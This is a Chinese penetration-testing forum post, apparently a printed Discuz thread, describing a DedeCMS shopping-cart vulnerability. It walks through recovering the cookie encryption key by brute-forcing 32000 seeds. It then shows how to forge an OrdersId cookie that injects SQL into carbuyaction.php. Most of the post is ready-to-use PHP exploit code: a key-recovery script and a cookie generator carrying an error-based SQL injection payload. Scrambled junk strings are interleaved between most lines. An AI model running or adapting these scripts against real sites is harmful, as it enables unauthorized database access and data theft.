中国网络渗透测试联盟
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-13 23:58
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=
# X* }5 {/ [" r2 J6 W5 X
在 include/shopcar.class.php中
6 M/ s r! H/ P/ c8 v
先看一下这个shopcar类是如何生成cookie的
: w7 P% |, E' F
239 function saveCookie($key,$value)
4 X1 c3 Z s( T# r( [& |/ h6 d
240 {
8 l5 {3 k# W$ c/ F; {2 {4 i
241 if(is_array($value))
- E5 |- P/ L# H$ b
242 {
, \$ @1 l( v3 s% _- b; ]* b& J
243 $value = $this->enCrypt($this->enCode($value));
4 l: {) E3 a6 H+ H R7 j" D
244 }
0 g+ H h P l2 |: k& e
245 else
: `$ A- z& I j6 r, K3 k
246 {
$ W1 z7 E( |/ I6 j. _& w
247 $value = $this->enCrypt($value);
! A& j' x1 n& ]+ K# u: _2 q. b
248 }
4 a i+ E" ~; O" g* p, J
249 setcookie($key,$value,time()+36000,’/');
; H! k8 ~9 A- k9 W0 X9 H. ~
250 }
5 c" W1 c# B8 a1 u. V, j
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
* n1 _, f6 B8 V; S9 L4 B
186 function enCrypt($txt)
- ~4 h9 C* u4 C& a
187 {
$ x6 L( y7 x# K
188 srand((double)microtime() * 1000000);
% W- ]4 y- Z, u; g. C) b z" u# h
189 $encrypt_key = md5(rand(0, 32000));
# v1 e3 w e0 B, z( Z
190 $ctr = 0;
6 ~3 F7 x* B" m1 y9 B5 a& I
191 $tmp = ”;
& _3 n; X# \& c, U; g' s
192 for($i = 0; $i < strlen($txt); $i++)
- t: X% k- B" g& n8 V! B
193 {
L- D+ @; x! T% R2 z' i
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$ W" j4 Q5 T; f0 n0 v
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
- \0 u8 G% \% z2 Q' Z# J
196 }
: I. k6 P! L! n. ]) \# ~
197 return base64_encode($this->setKey($tmp));
( |: a$ Y9 _' G) @$ }
198 }
5 E/ _" F( q7 F. ^) j: h$ O: R& ~. s
213 function setKey($txt)
, o: i+ S' W6 ?- r# {$ ~ j) S
214 {
: _( x1 B* u: c8 |) A
215 global $cfg_cookie_encode;
0 K# Y T8 X6 N1 y/ @, A$ G) o
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
% E4 L& j! j5 z9 D ]# g* e5 L
217 $ctr = 0;
2 d) N2 J! m+ Z4 L# d3 C: W
218 $tmp = ”;
# p) b, ^5 Q' V9 R; J% k- S
219 for($i = 0; $i < strlen($txt); $i++)
% p4 m7 |1 P2 I
220 {
' Y) w, I5 g7 G1 F* A
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
1 `# d0 \+ o8 _! k9 G: G
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
% {$ N" l; N; s) R% _ r$ X8 D
223 }
7 p; U& _$ R j% V
224 return $tmp;
1 _9 M6 ~2 b5 X5 b) l
225 }
0 Q) O3 B* _+ q5 q+ m
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
4 }$ g9 ]7 z) j' R
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
3 C9 W# J- C% m) |
具体代码如下:
* E/ L0 N) s, G% C
<?php
( q) S- ~6 F8 }8 Z% @3 _. G
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
, L$ H0 A9 m* @8 P. O
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
- w% W s! E x
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
9 K4 V' j- ^4 d1 R+ O
function reStrCode($code,$string)
+ o! B9 p( ]3 N- [1 Q
{
) D. k8 Q' p) ?
$code = base64_decode($code);
% P4 R2 S* [3 F' Z. T! @
$key = “”;
- w- P& Y. D; D- T$ h
for($i=0 ; $i<32 ; $i++)
! Z- r3 T% z/ |. p$ W! O
{
: h7 d: S, ]4 k$ B" c3 F
$key .= $string[$i] ^ $code[$i];
+ K# e8 l( B% ~5 B7 U# O
}
9 h, v- A+ H) f% l* o2 Y+ |
return $key;
" w) W# p: w2 N! v% u& W
}
) \% z$ s& ]9 k3 r( v$ J2 S( e
function getKeys($cookie,$plantxt)
- \8 \) L. {4 H. h% D4 w+ D0 O
{
. }/ S6 V$ P; o0 F; q* g, H
$tmp = $cookie;
: X* a C' y, b- C, S
$results = array();
! Q, V6 j& D% R w1 I- V3 p
for($j=0 ; $j < 32000; $j++)
6 _. u% r2 b" T- x
{
2 p) w# o: d; u3 ^
; q/ v4 w3 u) d/ u! j% @) ^! n
$txt = $plantxt;
2 ~# H( s' N5 G7 D" T( n# V) O
$ctr = 0;
1 c/ S/ W8 b+ i3 ]! D
$tmp = ”;
2 c7 S" G8 Z: \9 a2 j# _
$encrypt_key = md5($j);
* i1 w6 V. b; O: @( c6 h
for($i =0; $i < strlen($txt); $i ++)
7 \/ k; ^5 a2 B* M D5 m" N
{
0 ^1 b1 [/ S/ J/ J
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
( @$ } d1 L- @. L# [
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
9 c, J0 ^) K2 L, Y! z; L" ~) v0 o
}
9 a ?+ n: `+ m
$string = $tmp;
9 q# c6 H7 T! ?; q( s0 Z5 I; J/ @
$code = $cookie;
8 r6 W5 `$ f6 t+ X$ u+ @: m* F
$result = reStrCode($code,$string);
' P( h6 G& \& E) Z- t8 _
if(eregi(‘^[a-z0-9]+$’,$result))
! A2 R4 G; j2 p6 A$ k1 ]
{
0 ]" ]/ d. F2 t. J6 N$ C; A
echo $result.”\n”;
! u: K( y& K9 {# R% g; f
$results[] = $result;
- W) ]9 z( p m/ M5 k
}
2 i- l5 g2 B) T( I
}
( c! y0 N T. ~! v! {% B4 G
return $results;
. i% ?7 p) c9 Z1 N7 H, P( a2 D& a
}
5 e6 G5 E' S, _5 A. u
$results1 = getKeys($cookie1,$plantxt);
" a0 m4 O, ^0 |
$results2 = getKeys($cookie2,$plantxt);
( o9 J6 ~- _$ I; D
print “\n——————–real key————————–\n”;
' M( Z4 h! H3 i) Q0 n
foreach($results1 as $test1)
% J& W$ I: x. w5 A& B% _ a$ Z: k& V
{
. N. t& i& w. w0 S
foreach($results2 as $test2)
3 e. O# f! j1 j/ E9 c9 f# l5 O
{
4 M! R5 Y% Z+ o- W- z( a
if($test1 == $test2)
( J. s9 \( C) c- z
{
a- @) u4 G6 H) ]" G
echo $test1.”\n”;
) j0 C8 T I; N5 ~% q8 k% r5 n# {
}
- K- q) }! V H7 K# w3 m6 w6 P
}
# @( q: ~% |7 z0 Y1 s$ }
}
2 N& N6 T* H8 E- C3 k
?>
& x& Z: o1 F. o# s, \; ?
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
" Y) u$ d! u$ z3 ]) \* S+ ?
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
# ], ?- T6 p- Z6 i$ ^
然后推算出md5(strtolower($cfg_cookie_encode))
! ]1 @( B) s1 h) j* |! p5 [
得到这个key之后,我们就可以构造任意购物车的cookie
3 b# F* k+ h/ X; q
接着看
7 y4 ]6 O1 e1 o8 i( t- ^1 M: u0 L
20 class MemberShops
- p1 n3 o2 S1 o& v4 G' B: c2 j. h. Z
21 {
4 e4 ?. `9 o, Q8 z& X
22 var $OrdersId;
, o" m" z8 { ?8 B
23 var $productsId;
2 M# i8 d1 b7 c$ z6 f. i* b- P
24
- A# k9 s2 m. K- J, p; m3 X
25 function __construct()
! h4 }( `7 p+ N6 F- \' w* A
26 {
7 N' I3 K- P! e3 i, d$ g% o
27 $this->OrdersId = $this->getCookie(“OrdersId”);
0 q7 T4 Y" y( S4 E8 J
28 if(empty($this->OrdersId))
+ L& W8 F/ j0 K0 W
29 {
3 F2 u- ~1 n4 ~2 `3 `) |
30 $this->OrdersId = $this->MakeOrders();
; M/ P J; S: l$ O
31 }
0 V8 ^* W, p' o% \+ K
32 }
6 i2 t1 Z+ g" i- k+ I" A) r
发现OrderId是从cookie里面获取的
- x( `& a/ P5 |& S% p
然后
! k: A7 Z. i, n
/plus/carbuyaction.php中的
, u( _; G1 y) v# @$ G( Y y9 t
29 $cart = new MemberShops();
" b9 q4 j, l, ~
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
3 T Y8 [; f7 f# h) i
……
) \- S! m1 x( x6 [+ [. k7 [6 x
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
0 p( G0 x, v- l4 H' d
接着我们就可以注入了
" M& [$ X4 D" ^, ~' z7 |2 S
通过利用下面代码生成cookie:
& k9 m9 |; o* z$ M% W5 m" c
<?php
, g2 d2 \5 m8 l) X6 W" H
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
! J5 } F! q5 }& M, _" R$ u# r) d# H
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
% D0 Y, u& n' j/ n3 T( {% o2 r. b0 ~
function setKey($txt)
2 W0 I" C+ }( P% T' E9 K( t3 o" E& Z, `
{
I2 b# d5 @* J0 Y+ h
global $encrypt_key;
; V4 z' q% w7 n/ H3 y/ B
$ctr = 0;
( ^# h+ z6 {' X. W$ _1 x4 [
$tmp = ”;
: ?3 s8 V5 V! Q
for($i = 0; $i < strlen($txt); $i++)
1 R5 U# T! Z, H+ p
{
0 N6 q( J7 i ~, z
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 v$ a' c! r2 h1 M+ N% @
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
( G' y$ o- S6 C4 @( n4 b+ ~; Z/ H7 P
}
$ M, p4 y$ Q+ ~: p9 \1 J4 l7 p( C! Z
return $tmp;
& ?2 r) K( j( O3 N0 B2 E
}
9 m8 D9 g: v: G: m7 r
function enCrypt($txt)
! q n/ ]4 W' W, |- r
{
3 v* q5 ~% {. c5 e$ `9 I* g
srand((double)microtime() * 1000000);
1 x, T& Z0 z0 w( `; `
$encrypt_key = md5(rand(0, 32000));
0 q7 w+ F$ t* h0 D
$ctr = 0;
% j9 I7 T, }. D/ O
$tmp = ”;
- q8 T Y) `0 y8 g* H
for($i = 0; $i < strlen($txt); $i++)
3 P5 [4 G6 s( |# s- O% V
{
3 i$ l/ j" r- S# }- d7 N3 _
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
0 o; f$ g$ s; `/ ~
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
8 e, }) n, N; S( [
}
8 p# [6 ], w+ h) k
return base64_encode(setKey($tmp));
7 W7 H G5 u* d9 D
}
b3 v& U8 q Z( |; ~
for($dest =0;$dest = enCrypt($txt);)
! Q2 o. s$ x8 V0 `' H! K1 X. R. p( z/ z
{
) s, |9 M* L8 x7 J8 f, H
if(!strpos($dest,’+'))
, S' N$ l9 S% u+ Q- Y0 N" [( @$ j
{
& u/ c& L6 E& L3 A, e0 P
break;
; L7 `% u# O* q! J, F3 M1 Q
}
) E$ {/ `& B2 I
}
0 d, E/ @, t. r5 _1 }
echo $dest.”\n”;
, s: f; g8 Z; G; `+ J( X. h- ~
?>
3 H( M% z |# n& L) h+ p( P% m( m
1 o2 u2 Q+ T, [7 ~
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2